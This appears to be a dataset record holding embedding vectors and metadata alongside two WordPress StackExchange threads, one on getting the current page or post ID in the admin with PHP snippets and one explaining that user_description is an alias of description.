0.01439666748046875,
-0.00785064697265625,
0.012237548828125,
-0.03619384765625,
0.04437255859375,
-0.01357269287109375,
0.016082763671875,
0.0008230209350585938,
-0.055084228515625,
0.057952880859375,
0.0162811279296875,
-0.029510498046875,
0.0423583984375,
-0.0164337158203125,
-0.0308990478515625,
0.0172271728515625,
0.048370361328125,
-0.0220489501953125,
0.06939697265625,
-0.03594970703125,
-0.007350921630859375,
-0.00001424551010131836,
-0.01317596435546875,
0.01094818115234375,
-0.0167388916015625,
0.022613525390625,
0.0008802413940429688,
0.0161285400390625,
-0.01111602783203125,
-0.031463623046875,
0.032623291015625,
0.01529693603515625,
-0.04034423828125,
0.0193634033203125,
0.0135040283203125,
-0.011627197265625,
-0.01271820068359375,
-0.003437042236328125,
-0.00405120849609375,
-0.00998687744140625,
0.03997802734375,
0.0221405029296875,
-0.0045928955078125,
0.019622802734375,
0.01117706298828125,
-0.004932403564453125,
0.042633056640625,
-0.005367279052734375,
0.031829833984375,
0.015716552734375,
0.071533203125,
0.05194091796875,
-0.033660888671875,
-0.0216522216796875,
-0.018768310546875,
-0.01251983642578125,
-0.01023101806640625,
0.01403045654296875,
0.01129913330078125,
-0.003482818603515625,
0.0240020751953125,
0.07659912109375,
-0.007633209228515625,
0.019500732421875,
-0.036651611328125,
-0.003936767578125,
0.050933837890625,
0.015167236328125,
0.006946563720703125,
0.01451873779296875,
0.000583648681640625,
0.00687408447265625,
-0.03277587890625,
0.01318359375,
0.01242828369140625,
-0.021026611328125,
-0.058258056640625,
-0.0106964111328125,
0.0139617919921875,
0.00495147705078125,
-0.055999755859375,
-0.0009717941284179688,
0.00994873046875,
0.05352783203125,
-0.0279998779296875,
-0.00624847412109375,
-0.011688232421875,
0.002544403076171875,
-0.0164337158203125,
-0.01026153564453125,
-0.057342529296875,
0.01352691650390625,
-0.031982421875,
0.0212860107421875,
0.0338134765625,
-0.02587890625,
-0.0401611328125,
0.00656890869140625,
0.0278778076171875,
0.057769775390625,
-0.0016145706176757812,
-0.012359619140625,
0.0023479461669921875,
0.00705718994140625,
-0.0236663818359375,
-0.0251617431640625,
0.01340484619140625,
-0.0260467529296875,
-0.02044677734375,
0.0255889892578125,
-0.044342041015625,
-0.035186767578125,
-0.047821044921875,
-0.045806884765625,
-0.048370361328125,
0.036468505859375,
-0.047271728515625,
0.0038356781005859375,
-0.0157928466796875,
-0.004726409912109375,
0.0106201171875,
-0.00852203369140625,
-0.0065460205078125,
-0.0179290771484375,
0.0110321044921875,
0.012451171875,
0.00754547119140625,
0.0222930908203125,
-0.032958984375,
0.0105743408203125,
0.040130615234375,
0.059234619140625,
0.033782958984375,
-0.047027587890625,
0.031097412109375,
-0.00626373291015625,
0.0294647216796875,
-0.0005707740783691406,
-0.044647216796875,
0.00818634033203125,
-0.0185699462890625,
0.0027179718017578125,
-0.04193115234375,
-0.0018672943115234375,
0.0014810562133789062,
0.0269012451171875,
0.0380859375,
-0.00814056396484375,
-0.034820556640625,
-0.0038928985595703125,
0.013671875,
-0.01959228515625,
0.003368377685546875,
0.00992584228515625,
-0.055816650390625,
-0.0267486572265625,
0.0038700103759765625,
-0.004756927490234375,
0.0232696533203125,
-0.011627197265625,
0.00415802001953125,
-0.00807952880859375,
0.030609130859375,
-0.010589599609375,
-0.0140533447265625,
-0.005725860595703125,
0.0462646484375,
-0.0275115966796875,
-0.01241302490234375,
0.00649261474609375,
0.00933074951171875,
0.00829315185546875,
-0.0230255126953125,
-0.01190185546875,
-0.0034198760986328125,
-0.03387451171875,
0.005245208740234375,
0.0066680908203125,
0.050567626953125,
-0.00688934326171875,
-0.02239990234375,
0.00713348388671875,
0.005413055419921875,
-0.01617431640625,
0.012969970703125,
0.0036144256591796875,
-0.0091400146484375,
-0.03143310546875,
0.034027099609375,
-0.016265869140625,
0.0014886856079101562,
-0.021087646484375,
0.039276123046875,
0.035888671875,
-0.04010009765625,
0.07476806640625,
-0.03338623046875,
0.014739990234375,
0.0082855224609375,
0.0208740234375,
-0.0297088623046875,
0.032623291015625,
0.07464599609375,
0.0037250518798828125,
0.0153350830078125
] |
2976da888379edcd79e55636c8b5a28c0bef32e6
|
Wordpress Stackexchange
Q: How do I get the current edit page ID in the admin? Most solutions I found are for front-end use. This is for a plugin, so the all activity is in the back-end.
How do I get the page ID that's being currently use(edited) in the admin?
Note I'm out of the loop. I just need to get the ID of page(not posts) that I'm currently seeing in the back-end.
A: You can also use
$post_id = $_GET['post'];
Or you can use a hook (probably better).
function id_WPSE_114111() {
global $post;
$id = $post->ID;
// do something
}
add_action( 'admin_notices', 'id_WPSE_114111' );
You will need to add a conditional since this will run on all admin pages, I recommend using get_current_screen();
For example to run only on pages:
function id_WPSE_114111() {
global $my_admin_page;
$screen = get_current_screen();
if ( is_admin() && ($screen->id == 'page') ) {
global $post;
$id = $post->ID;
var_dump($id);
}
}
add_action( 'admin_notices', 'id_WPSE_114111' );
|
Q: How do I get the current edit page ID in the admin? Most solutions I found are for front-end use. This is for a plugin, so the all activity is in the back-end.
How do I get the page ID that's being currently use(edited) in the admin?
Note I'm out of the loop. I just need to get the ID of page(not posts) that I'm currently seeing in the back-end.
A: You can also use
$post_id = $_GET['post'];
Or you can use a hook (probably better).
function id_WPSE_114111() {
global $post;
$id = $post->ID;
// do something
}
add_action( 'admin_notices', 'id_WPSE_114111' );
You will need to add a conditional since this will run on all admin pages, I recommend using get_current_screen();
For example to run only on pages:
function id_WPSE_114111() {
global $my_admin_page;
$screen = get_current_screen();
if ( is_admin() && ($screen->id == 'page') ) {
global $post;
$id = $post->ID;
var_dump($id);
}
}
add_action( 'admin_notices', 'id_WPSE_114111' );
A: You can add this code in functions.php file and it will give you a meta box above the publish settings box when editing a post or page.
<?php
function cf_post_id() {
global $post;
// Get the data
$id = $post->ID;
// Echo out the field
echo '<input type="text" name="_id" value="' . $id . '" class="widefat" disabled />';
}
function ve_custom_meta_boxes() {
add_meta_box('projects_refid', 'Post ID', 'cf_post_id', 'post', 'side', 'high');
add_meta_box('projects_refid', 'Page ID', 'cf_post_id', 'page', 'side', 'high');
}
add_action('add_meta_boxes', 've_custom_meta_boxes');
?>
A: This is probably the "most secure" way of checking what the current post is on the post edit (and add) page in wp admin.
function wpse114111_get_current_post_id(): ?WP_Post {
global $post;
if (empty($post) && array_key_exists('post', $_GET)) {
$post = get_post($_GET['post']);
}
// Optional: get an empty post object from the post_type
if (empty($post) && array_key_exists('post_type', $_GET)) {
$object = new stdClass();
$object->post_type = $_GET['post_type'];
return new WP_Post($object);
}
if (empty($post)) {
return null;
}
return $post;
}
A: You just use this code in the functions.php file, It will give you a current edit page or post ID
function get_the_current_page_id(){
$post_id = null;
if( isset( $_REQUEST['post']) || isset($_REQUEST['post_ID'] ) ){
$post_id = empty( $_REQUEST['post_ID'] ) ? $_REQUEST['post'] : $_REQUEST['post_ID' ];
}
//print_r($post_id) For check
//die();
}
//get_the_current_page_id() //Call the function
|
wordpress
|
{
"language": "en",
"length": 368,
"provenance": "stackexchange_00019.jsonl.gz:437072",
"question_score": "14",
"source": "stackexchange",
"timestamp": "2023-03-29",
"url": "https://wordpress.stackexchange.com/questions/114111"
}
|
[
0.01493072509765625,
0.00003784894943237305,
-0.030303955078125,
-0.01824951171875,
0.01454925537109375,
-0.03558349609375,
0.029541015625,
0.0158233642578125,
0.01377105712890625,
-0.0030002593994140625,
-0.037017822265625,
-0.02691650390625,
-0.0232696533203125,
-0.034942626953125,
0.000629425048828125,
-0.0239105224609375,
0.0182647705078125,
-0.01123046875,
0.0249176025390625,
0.00027179718017578125,
-0.01467132568359375,
0.0035247802734375,
0.0263824462890625,
-0.009552001953125,
0.01227569580078125,
-0.05853271484375,
0.029449462890625,
0.0199432373046875,
-0.004673004150390625,
-0.0195159912109375,
0.0029811859130859375,
0.021759033203125,
0.0199127197265625,
-0.0217132568359375,
0.031829833984375,
-0.031585693359375,
0.0181732177734375,
-0.016082763671875,
0.0164947509765625,
-0.01383209228515625,
0.029296875,
-0.01450347900390625,
0.010711669921875,
0.0001195669174194336,
-0.0284271240234375,
-0.005321502685546875,
0.012603759765625,
-0.00696563720703125,
-0.0197296142578125,
0.03857421875,
0.0078887939453125,
0.0206756591796875,
0.0033721923828125,
0.045166015625,
0.01332855224609375,
0.01026153564453125,
-0.0195465087890625,
0.0023097991943359375,
0.0511474609375,
0.00263214111328125,
-0.043365478515625,
-0.050048828125,
0.0280914306640625,
-0.058258056640625,
-0.004421234130859375,
-0.0005269050598144531,
0.03985595703125,
0.01244354248046875,
-0.023162841796875,
-0.00856781005859375,
0.0089263916015625,
-0.007289886474609375,
-0.0020542144775390625,
-0.0127105712890625,
-0.0047149658203125,
-0.0251312255859375,
0.03717041015625,
-0.002964019775390625,
-0.023956298828125,
0.03717041015625,
0.021148681640625,
-0.003803253173828125,
-0.06414794921875,
0.03631591796875,
-0.0186614990234375,
0.0408935546875,
-0.011932373046875,
-0.0242919921875,
-0.035308837890625,
0.0004448890686035156,
-0.032073974609375,
-0.0192413330078125,
0.005214691162109375,
-0.002628326416015625,
-0.024444580078125,
-0.011688232421875,
0.04388427734375,
0.09033203125,
0.002044677734375,
-0.00606536865234375,
-0.016326904296875,
-0.044708251953125,
-0.01300048828125,
-0.04718017578125,
0.004222869873046875,
0.05047607421875,
0.0263519287109375,
0.009521484375,
0.016693115234375,
-0.0199432373046875,
0.00023734569549560547,
-0.02020263671875,
0.0017223358154296875,
-0.00670623779296875,
-0.0153656005859375,
0.0015039443969726562,
-0.0167388916015625,
-0.012725830078125,
-0.00940704345703125,
-0.024017333984375,
-0.008941650390625,
-0.0201873779296875,
0.036895751953125,
-0.0290069580078125,
0.01885986328125,
-0.0179443359375,
-0.060028076171875,
-0.0018129348754882812,
0.0345458984375,
-0.016754150390625,
-0.0445556640625,
0.03125,
0.11431884765625,
0.0037841796875,
0.01287841796875,
-0.012908935546875,
0.0086669921875,
-0.0019817352294921875,
0.006259918212890625,
-0.00580596923828125,
-0.0264434814453125,
-0.00823211669921875,
0.0289459228515625,
-0.0404052734375,
-0.036773681640625,
0.0303192138671875,
0.00809478759765625,
0.00424957275390625,
0.0037784576416015625,
-0.039337158203125,
-0.020751953125,
-0.051177978515625,
0.0253753662109375,
0.0186767578125,
0.015716552734375,
0.0135498046875,
0.07525634765625,
-0.0330810546875,
-0.03338623046875,
-0.03680419921875,
0.031494140625,
0.016693115234375,
0.044342041015625,
-0.01551055908203125,
-0.036865234375,
-0.019622802734375,
-0.0654296875,
-0.0193634033203125,
0.030029296875,
0.0587158203125,
0.07476806640625,
-0.00864410400390625,
0.0202178955078125,
0.01177215576171875,
-0.0161590576171875,
-0.014892578125,
-0.0176544189453125,
0.0128631591796875,
0.0235748291015625,
-0.0011186599731445312,
-0.0172271728515625,
-0.0303802490234375,
0.016448974609375,
0.005413055419921875,
-0.039642333984375,
0.037017822265625,
0.0117645263671875,
0.061614990234375,
0.0016222000122070312,
0.0102691650390625,
0.0166473388671875,
0.0032367706298828125,
-0.00823974609375,
-0.007442474365234375,
-0.00020051002502441406,
-0.0167999267578125,
-0.00457000732421875,
0.0098724365234375,
-0.0161590576171875,
-0.006122589111328125,
0.01421356201171875,
-0.0006427764892578125,
0.01279449462890625,
0.026153564453125,
-0.0489501953125,
0.0197601318359375,
-0.0243682861328125,
0.0265045166015625,
0.033782958984375,
-0.0158538818359375,
0.00476837158203125,
-0.01442718505859375,
-0.002010345458984375,
-0.031890869140625,
-0.065673828125,
0.04827880859375,
-0.047027587890625,
-0.01216888427734375,
-0.0186309814453125,
0.0474853515625,
-0.031585693359375,
-0.031280517578125,
-0.03857421875,
-0.0285491943359375,
0.029052734375,
0.004791259765625,
-0.0149688720703125,
-0.019134521484375,
0.026947021484375,
-0.01033782958984375,
0.000274658203125,
0.039886474609375,
0.0303192138671875,
0.044830322265625,
0.002834320068359375,
-0.015625,
-0.0256195068359375,
-0.121826171875,
0.007293701171875,
0.059600830078125,
0.038543701171875,
-0.0036373138427734375,
0.01552581787109375,
0.0240936279296875,
0.04730224609375,
-0.0225982666015625,
0.0145721435546875,
-0.002605438232421875,
-0.0006251335144042969,
0.046600341796875,
-0.0269622802734375,
0.0157928466796875,
0.0161895751953125,
-0.0210723876953125,
-0.0010786056518554688,
0.049835205078125,
-0.0115509033203125,
0.0141448974609375,
-0.002635955810546875,
-0.022308349609375,
-0.01282501220703125,
-0.08453369140625,
-0.0321044921875,
-0.03857421875,
0.023223876953125,
0.02618408203125,
0.057403564453125,
0.04638671875,
-0.0189971923828125,
-0.0283660888671875,
0.0171966552734375,
0.045196533203125,
-0.005340576171875,
-0.00244140625,
0.0142822265625,
-0.035858154296875,
-0.028472900390625,
0.00814056396484375,
0.0018138885498046875,
-0.01971435546875,
-0.035919189453125,
0.0138702392578125,
-0.0330810546875,
-0.0243072509765625,
-0.0118408203125,
-0.04693603515625,
-0.0019931793212890625,
-0.0294952392578125,
0.0302886962890625,
-0.02728271484375,
0.0008044242858886719,
0.03582763671875,
-0.033782958984375,
0.07080078125,
0.0208587646484375,
-0.0299835205078125,
0.04302978515625,
-0.0025615692138671875,
0.0250701904296875,
-0.0172119140625,
0.061859130859375,
0.04925537109375,
-0.0233001708984375,
0.02362060546875,
-0.02410888671875,
-0.0100555419921875,
-0.01546478271484375,
-0.008575439453125,
-0.004863739013671875,
0.003875732421875,
-0.050628662109375,
0.0186614990234375,
0.002475738525390625,
0.0723876953125,
-0.047149658203125,
-0.07720947265625,
-0.015655517578125,
-0.002201080322265625,
-0.1009521484375,
-0.08380126953125,
-0.017333984375,
-0.0799560546875,
-0.03204345703125,
-0.019744873046875,
-0.047943115234375,
0.03399658203125,
0.011810302734375,
0.01004791259765625,
-0.0022258758544921875,
-0.0096282958984375,
-0.0269317626953125,
-0.014404296875,
-0.050628662109375,
-0.03155517578125,
-0.01052093505859375,
0.00262451171875,
0.003875732421875,
0.0303497314453125,
0.0187530517578125,
-0.032257080078125,
0.024017333984375,
0.0092620849609375,
-0.0159454345703125,
-0.0031909942626953125,
-0.02862548828125,
-0.006397247314453125,
0.0309600830078125,
0.0216217041015625,
-0.00695037841796875,
-0.0007243156433105469,
0.0187835693359375,
-0.029998779296875,
-0.0240478515625,
0.0014171600341796875,
0.0218505859375,
-0.0091705322265625,
0.006885528564453125,
0.0139312744140625,
0.0264434814453125,
-0.037109375,
-0.0176544189453125,
-0.0147705078125,
-0.045379638671875,
0.0202789306640625,
0.01373291015625,
-0.01202392578125,
0.0286102294921875,
-0.0144500732421875,
0.0322265625,
0.005222320556640625,
0.041229248046875,
-0.0000584721565246582,
-0.004901885986328125,
-0.00884246826171875,
0.00928497314453125,
-0.04522705078125,
0.01287841796875,
0.0104217529296875,
0.0287322998046875,
0.00896453857421875,
0.035919189453125,
0.0158538818359375,
0.0146636962890625,
-0.011474609375,
-0.03326416015625,
0.0284271240234375,
-0.037628173828125,
0.00009328126907348633,
-0.031494140625,
-0.011566162109375,
0.0015077590942382812,
0.0748291015625,
-0.025146484375,
-0.0257568359375,
-0.0186309814453125,
0.0240936279296875,
-0.0292816162109375,
-0.05279541015625,
0.005352020263671875,
-0.006439208984375,
-0.0628662109375,
0.004669189453125,
-0.01293182373046875,
-0.023040771484375,
-0.03155517578125,
0.07623291015625,
-0.040618896484375,
-0.02740478515625,
0.0501708984375,
-0.069580078125,
-0.0010089874267578125,
0.06402587890625,
-0.034088134765625,
0.03326416015625,
-0.043182373046875,
-0.0390625,
-0.0673828125,
-0.0034027099609375,
-0.0230865478515625,
0.061798095703125,
0.026153564453125,
-0.042236328125,
0.00046443939208984375,
0.031829833984375,
0.0091094970703125,
0.0269775390625,
-0.0286102294921875,
0.0085296630859375,
-0.00379180908203125,
-0.04913330078125,
-0.015411376953125,
-0.03875732421875,
-0.01343536376953125,
0.006011962890625,
-0.037750244140625,
-0.002777099609375,
-0.0167083740234375,
0.0003876686096191406,
0.0230865478515625,
-0.032257080078125,
-0.055511474609375,
-0.0229034423828125,
0.0079498291015625,
0.0548095703125,
-0.0201263427734375,
0.0122528076171875,
-0.0289154052734375,
-0.08062744140625,
0.04083251953125,
-0.02032470703125,
-0.0099334716796875,
0.0008845329284667969,
0.06768798828125,
0.0253753662109375,
-0.017486572265625,
-0.00926971435546875,
-0.0028591156005859375,
0.043914794921875,
-0.01398468017578125,
0.0640869140625,
0.05987548828125,
-0.026336669921875,
0.0419921875,
0.04046630859375,
-0.045379638671875,
-0.0113372802734375,
0.052947998046875,
0.009613037109375,
-0.0226898193359375,
-0.0196075439453125,
-0.047760009765625,
0.054901123046875,
-0.01024627685546875,
-0.045745849609375,
-0.039581298828125,
-0.0184326171875,
0.078125,
-0.05084228515625,
0.10693359375,
-0.030059814453125,
-0.01605224609375,
-0.00677490234375,
0.003894805908203125,
0.01361083984375,
0.035888671875,
-0.007389068603515625,
0.0112457275390625,
0.019683837890625,
-0.007049560546875,
0.040435791015625,
0.043975830078125,
0.006366729736328125,
0.03436279296875,
0.0196990966796875,
-0.019134521484375,
0.0233306884765625,
-0.01486968994140625,
0.04217529296875,
-0.017364501953125,
-0.060821533203125,
0.01409149169921875,
-0.01457977294921875,
0.00531005859375,
0.02777099609375,
-0.01174163818359375,
0.023162841796875,
0.03363037109375,
-0.0242462158203125,
-0.0268402099609375,
0.032928466796875,
-0.0184478759765625,
-0.0386962890625,
-0.019805908203125,
0.0010976791381835938,
-0.0217437744140625,
0.01251220703125,
0.044525146484375,
0.0273590087890625,
0.01122283935546875,
-0.037139892578125,
0.035491943359375,
0.017547607421875,
0.01555633544921875,
-0.0130157470703125,
0.0283203125,
0.01451873779296875,
0.003246307373046875,
0.0078887939453125,
-0.020721435546875,
0.0242767333984375,
0.042877197265625,
0.02606201171875,
0.0163726806640625,
-0.00013935565948486328,
-0.02276611328125,
-0.0184326171875,
-0.0173492431640625,
0.07177734375,
0.027862548828125,
-0.0654296875,
-0.025177001953125,
0.0465087890625,
0.0352783203125,
-0.02215576171875,
-0.007293701171875,
0.040740966796875,
0.0216064453125,
0.043914794921875,
-0.006256103515625,
-0.01020050048828125,
0.00275421142578125,
0.0135345458984375,
-0.02203369140625,
-0.0251922607421875,
0.0237274169921875,
-0.0113677978515625,
0.016082763671875,
-0.02825927734375,
-0.0274810791015625,
0.043060302734375,
0.0307159423828125,
0.0401611328125,
0.000640869140625,
-0.0701904296875,
0.017791748046875,
-0.01751708984375,
0.048248291015625,
0.00440216064453125,
-0.040313720703125,
-0.009765625,
-0.07666015625,
-0.01275634765625,
0.01263427734375,
-0.04736328125,
0.0010967254638671875,
-0.0204620361328125,
-0.018890380859375,
0.0056915283203125,
0.00902557373046875,
0.0222320556640625,
-0.0140380859375,
0.042022705078125,
0.0013828277587890625,
0.05859375,
0.01078033447265625,
0.1036376953125,
-0.04766845703125,
0.061004638671875,
0.0108642578125,
0.033599853515625,
-0.0615234375,
0.002285003662109375,
-0.002483367919921875,
0.01532745361328125,
0.0227813720703125,
-0.025634765625,
0.024566650390625,
-0.034332275390625,
0.020599365234375,
0.0036716461181640625,
0.00827789306640625,
0.006977081298828125,
0.0148162841796875,
-0.02557373046875,
-0.06573486328125,
0.0008649826049804688,
-0.0229339599609375,
0.007381439208984375,
-0.047821044921875,
-0.043182373046875,
0.0011892318725585938,
0.052215576171875,
-0.019073486328125,
-0.0316162109375,
-0.02862548828125,
0.045135498046875,
-0.029266357421875,
0.0528564453125,
0.08819580078125,
0.00688934326171875,
0.05377197265625,
0.000179290771484375,
0.0177764892578125,
0.027923583984375,
0.046234130859375,
-0.0186614990234375,
-0.0241546630859375,
0.07275390625,
0.035125732421875,
-0.0087738037109375,
0.07012939453125,
-0.0164794921875,
0.0037708282470703125,
0.042449951171875,
0.045684814453125,
-0.07012939453125,
0.01438140869140625,
0.0144500732421875,
-0.01502227783203125,
-0.006832122802734375,
-0.0014619827270507812,
-0.018218994140625,
-0.04656982421875,
0.044921875,
-0.0264434814453125,
-0.0115203857421875,
0.022430419921875,
-0.00920867919921875,
-0.01218414306640625,
-0.035980224609375,
0.0160980224609375,
0.0012493133544921875,
0.043853759765625,
-0.021270751953125,
-0.0408935546875,
0.006664276123046875,
-0.030181884765625,
0.00484466552734375,
0.01073455810546875,
-0.0126800537109375,
-0.06304931640625,
0.01529693603515625,
0.0022125244140625,
0.00627899169921875,
0.024383544921875,
0.02618408203125,
0.0139617919921875,
0.05126953125,
0.00009399652481079102,
0.0034046173095703125,
0.0281829833984375,
-0.00859832763671875,
-0.03143310546875,
-0.027374267578125,
-0.0325927734375,
0.043121337890625,
-0.020294189453125,
0.012603759765625,
-0.01493072509765625,
0.006336212158203125,
-0.00047469139099121094,
-0.03375244140625,
0.0924072265625,
-0.047576904296875,
-0.0193328857421875,
0.0011205673217773438,
-0.01166534423828125,
-0.005725860595703125,
-0.00600433349609375,
-0.0156402587890625,
-0.00994110107421875,
-0.007061004638671875,
-0.0224151611328125,
-0.04779052734375,
0.0169525146484375,
-0.032989501953125,
-0.04095458984375,
0.073974609375,
0.01776123046875,
0.002033233642578125,
0.020294189453125,
0.037200927734375,
-0.044097900390625,
-0.0002989768981933594,
-0.048828125,
0.0240325927734375,
-0.0175933837890625,
0.01080322265625,
-0.043243408203125,
0.01076507568359375,
-0.0200347900390625,
-0.01049041748046875,
0.08563232421875,
0.0296173095703125,
-0.0433349609375,
0.006786346435546875,
0.0201416015625,
-0.0180816650390625,
-0.035858154296875,
0.0838623046875,
0.01448822021484375,
-0.0013332366943359375,
0.0211639404296875,
-0.0282440185546875,
0.02264404296875,
-0.042938232421875,
0.0146484375,
0.044769287109375,
0.0123443603515625,
0.00824737548828125,
0.01459503173828125,
0.005939483642578125,
-0.051025390625,
0.0114288330078125,
0.042572021484375,
-0.06268310546875,
-0.0198974609375,
0.055145263671875,
0.044525146484375,
-0.0283355712890625,
0.0183258056640625,
-0.0423583984375,
0.05633544921875,
0.01483154296875,
0.010772705078125,
0.033966064453125,
0.0290374755859375,
0.00922393798828125,
0.01360321044921875,
0.007457733154296875,
0.01483154296875,
0.002197265625,
0.05242919921875,
0.05999755859375,
0.0261077880859375,
0.0018253326416015625,
0.016510009765625,
0.038238525390625,
0.06304931640625,
-0.041107177734375,
-0.0103302001953125,
0.0156402587890625,
0.0113525390625,
0.025299072265625,
0.007755279541015625,
0.0609130859375,
0.003704071044921875,
0.01093292236328125,
-0.01538848876953125,
-0.018218994140625,
0.01537322998046875,
0.0277099609375,
0.006786346435546875,
0.01103973388671875,
-0.031005859375,
-0.0262451171875,
-0.06622314453125,
-0.00661468505859375,
0.04638671875,
0.05810546875,
0.006359100341796875,
0.051025390625,
0.01528167724609375,
-0.0193023681640625,
-0.006694793701171875,
0.0236663818359375,
-0.009521484375,
0.0160675048828125,
-0.033538818359375,
-0.026092529296875,
-0.0138092041015625,
0.026275634765625,
0.016387939453125,
0.0197906494140625,
0.0020275115966796875,
-0.026458740234375,
-0.0036296844482421875,
0.0076904296875,
-0.023895263671875,
-0.0311126708984375,
0.00970458984375,
-0.038482666015625,
0.018524169921875,
0.00447845458984375,
0.000408172607421875,
0.0005016326904296875,
0.01189422607421875,
0.01519012451171875,
-0.00809478759765625,
-0.006046295166015625,
0.007793426513671875,
-0.0289154052734375,
0.04681396484375,
0.0189971923828125,
-0.00106048583984375,
0.00563812255859375,
-0.0936279296875,
-0.0092620849609375,
-0.05303955078125,
0.005039215087890625,
0.027740478515625,
0.0297698974609375,
-0.02496337890625,
0.043304443359375,
-0.018524169921875,
0.024749755859375,
-0.00719451904296875,
0.0034694671630859375,
-0.020355224609375,
0.0288543701171875,
0.037139892578125,
0.013214111328125,
0.016021728515625,
-0.0018606185913085938,
0.009490966796875,
0.032501220703125,
0.0234832763671875,
0.0239715576171875,
-0.0282135009765625,
0.0299835205078125,
-0.0125885009765625,
0.06903076171875,
-0.0777587890625,
-0.018798828125,
0.0292816162109375,
-0.00487518310546875,
0.0244293212890625,
0.006450653076171875,
-0.05108642578125,
0.055419921875,
0.0128936767578125,
0.01361846923828125,
0.0391845703125,
0.01552581787109375,
0.0022029876708984375,
0.006069183349609375,
0.0160064697265625,
-0.007694244384765625,
-0.01552581787109375,
0.0212249755859375,
0.0034008026123046875,
0.0216827392578125,
0.0474853515625,
0.01538848876953125,
0.023681640625,
-0.01641845703125,
-0.0164794921875,
0.01361083984375,
0.0005869865417480469,
0.00640869140625,
0.020660400390625,
-0.039215087890625,
0.03125,
0.01508331298828125,
-0.01258087158203125,
0.01319122314453125,
0.01788330078125,
0.010955810546875,
0.0018110275268554688,
0.036865234375,
0.04559326171875,
-0.0250244140625,
0.042510986328125,
-0.0212249755859375,
0.003986358642578125,
0.0048675537109375,
0.035797119140625,
-0.00637054443359375,
-0.0560302734375,
-0.0122222900390625,
-0.040374755859375,
-0.005550384521484375,
0.0264129638671875,
-0.01459503173828125,
-0.00719451904296875,
-0.01885986328125,
0.0149688720703125,
-0.00977325439453125,
0.006275177001953125,
-0.053863525390625,
0.051177978515625,
-0.00003737211227416992,
0.028472900390625,
-0.035369873046875,
0.03466796875,
-0.0222625732421875,
-0.01189422607421875,
-0.046234130859375,
0.0031108856201171875,
-0.043853759765625,
0.01137542724609375,
-0.01428985595703125,
-0.014068603515625,
-0.001529693603515625,
0.0009212493896484375,
-0.0303497314453125,
-0.00786590576171875,
-0.0279388427734375,
0.0390625,
-0.000911712646484375,
-0.034881591796875,
0.009307861328125,
-0.0034046173095703125,
0.0106658935546875,
-0.015899658203125,
-0.003765106201171875,
-0.00540924072265625,
0.0164642333984375,
-0.0210723876953125,
0.0255126953125,
0.0222320556640625,
-0.0246429443359375,
-0.04022216796875,
0.00457000732421875,
0.002166748046875,
-0.0312042236328125,
0.01221466064453125,
0.006134033203125,
-0.005268096923828125,
-0.03851318359375,
0.0025882720947265625,
-0.052093505859375,
-0.0003237724304199219,
0.0246734619140625,
0.00708770751953125,
0.0309600830078125,
0.0214080810546875,
0.0121002197265625,
-0.05047607421875,
-0.0022792816162109375,
-0.02423095703125,
0.0005764961242675781,
0.029754638671875,
-0.0094757080078125,
0.0257720947265625,
0.017425537109375,
-0.062042236328125,
-0.0024509429931640625,
-0.0222320556640625,
0.0079803466796875,
-0.0264892578125,
-0.042205810546875,
-0.03704833984375,
0.0016832351684570312,
0.1124267578125,
0.08349609375,
0.0197601318359375,
-0.057220458984375,
0.0185546875,
-0.009918212890625,
-0.0533447265625,
0.007091522216796875,
0.0231475830078125,
-0.034637451171875,
-0.0017843246459960938,
0.01432037353515625,
-0.00970458984375,
0.0024738311767578125,
0.025177001953125,
-0.0258026123046875,
0.0034618377685546875,
0.0101470947265625,
-0.0149078369140625,
-0.049041748046875,
-0.00566864013671875,
0.059478759765625,
-0.06072998046875,
-0.0216217041015625,
0.021209716796875,
0.006198883056640625,
0.005786895751953125,
-0.00891876220703125,
0.0119476318359375,
0.0389404296875,
-0.048675537109375,
0.003749847412109375,
0.0140838623046875,
0.03753662109375,
-0.0263519287109375,
-0.01407623291015625,
-0.003620147705078125,
0.0308837890625,
-0.00746917724609375,
0.0295257568359375,
0.0183258056640625,
-0.008544921875,
-0.0239410400390625,
0.0250091552734375,
-0.023101806640625,
0.09136962890625,
-0.008544921875,
0.04937744140625,
0.00814056396484375,
-0.0173187255859375,
0.0557861328125,
-0.033966064453125,
-0.01551055908203125,
0.0220794677734375,
-0.00711822509765625,
-0.07489013671875,
0.021087646484375,
-0.01446533203125,
0.037841796875,
0.0197296142578125
] |
4664e163410c091ac623e7a19b970f1797850242
|
Wordpress Stackexchange
Q: What is the difference between user_description and description? In the codex page for the_author_meta, the list of fields available for the function lists both user_description and description. What is the difference between the two?
A: The user_description field is alias of description field. Nothing more. If you echo both of them on one page, you will see that they are identical and shows the same information about user's bio.
|
Q: What is the difference between user_description and description? In the codex page for the_author_meta, the list of fields available for the function lists both user_description and description. What is the difference between the two?
A: The user_description field is alias of description field. Nothing more. If you echo both of them on one page, you will see that they are identical and shows the same information about user's bio.
|
wordpress
|
{
"language": "en",
"length": 70,
"provenance": "stackexchange_00019.jsonl.gz:437129",
"question_score": "3",
"source": "stackexchange",
"timestamp": "2023-03-29",
"url": "https://wordpress.stackexchange.com/questions/114288"
}
|
[
0.0218963623046875,
-0.0163421630859375,
0.003997802734375,
-0.0190582275390625,
-0.031280517578125,
-0.0145721435546875,
-0.037628173828125,
-0.039215087890625,
-0.045745849609375,
0.059814453125,
-0.01187896728515625,
0.019439697265625,
0.0279083251953125,
-0.005725860595703125,
-0.01190948486328125,
-0.025482177734375,
0.0169219970703125,
0.01013946533203125,
0.0141754150390625,
-0.01511383056640625,
0.00945281982421875,
-0.0016012191772460938,
-0.0033931732177734375,
-0.0221710205078125,
0.03289794921875,
-0.07373046875,
0.03436279296875,
-0.00688934326171875,
0.04620361328125,
0.011627197265625,
0.02899169921875,
-0.016815185546875,
0.00240325927734375,
0.034088134765625,
-0.0360107421875,
-0.023529052734375,
0.00045418739318847656,
0.0210113525390625,
-0.0090484619140625,
0.022796630859375,
0.033416748046875,
-0.02435302734375,
-0.0111083984375,
-0.05157470703125,
-0.0024089813232421875,
0.0020885467529296875,
0.044677734375,
-0.0082244873046875,
0.006244659423828125,
-0.0159759521484375,
0.00235748291015625,
-0.01861572265625,
0.0286407470703125,
0.0006937980651855469,
-0.00469207763671875,
-0.00382232666015625,
-0.023193359375,
0.042510986328125,
0.03173828125,
-0.056121826171875,
-0.0308380126953125,
-0.0146026611328125,
0.03729248046875,
0.0426025390625,
0.0292816162109375,
-0.01318359375,
-0.0024013519287109375,
0.038177490234375,
-0.030517578125,
-0.005596160888671875,
0.0259246826171875,
-0.023193359375,
0.00414276123046875,
-0.0206756591796875,
-0.032745361328125,
0.0115966796875,
0.013580322265625,
-0.025146484375,
0.01360321044921875,
